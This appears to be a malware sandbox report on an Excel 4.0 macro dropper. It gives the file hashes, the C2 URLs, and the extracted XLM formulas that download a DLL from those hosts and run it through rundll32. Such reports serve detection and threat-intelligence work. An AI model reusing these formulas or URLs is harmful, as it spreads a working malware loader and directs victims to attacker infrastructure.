eb3e8690d152148f0bc7d306065ba030410ba35eb5e672f09041b20cf000ee4f

General

Target

?i=1ewkojktm
Size

83KB
Sample

220522-f6d61afhb8
MD5

597e9be00a6e6597e041ea986dac1252
SHA1

ec554fff3d8d0d18de86a1def864340963afb925
SHA256

eb3e8690d152148f0bc7d306065ba030410ba35eb5e672f09041b20cf000ee4f
SHA512

6cb5570a2394704f0e30c8dc9cabec9b1b5451e5035f9c0532e74ff951bd824f02f943325d41dfd56a9de1b85b816d24182aa35f75062e736809d9fb06bc59cb

Score

10^/10

macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://mammy-chiro.com/case/ZTkBzbz/

http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/

http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mammy-chiro.com/case/ZTkBzbz/","..\dwa.ocx",0,0) =IF('RHEEHGF'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\dwa.ocx,D""&""l""&""lR""&""egister""&""Server") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://mammy-chiro.com/case/ZTkBzbz/

xlm40.dropper

http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/

xlm40.dropper

http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/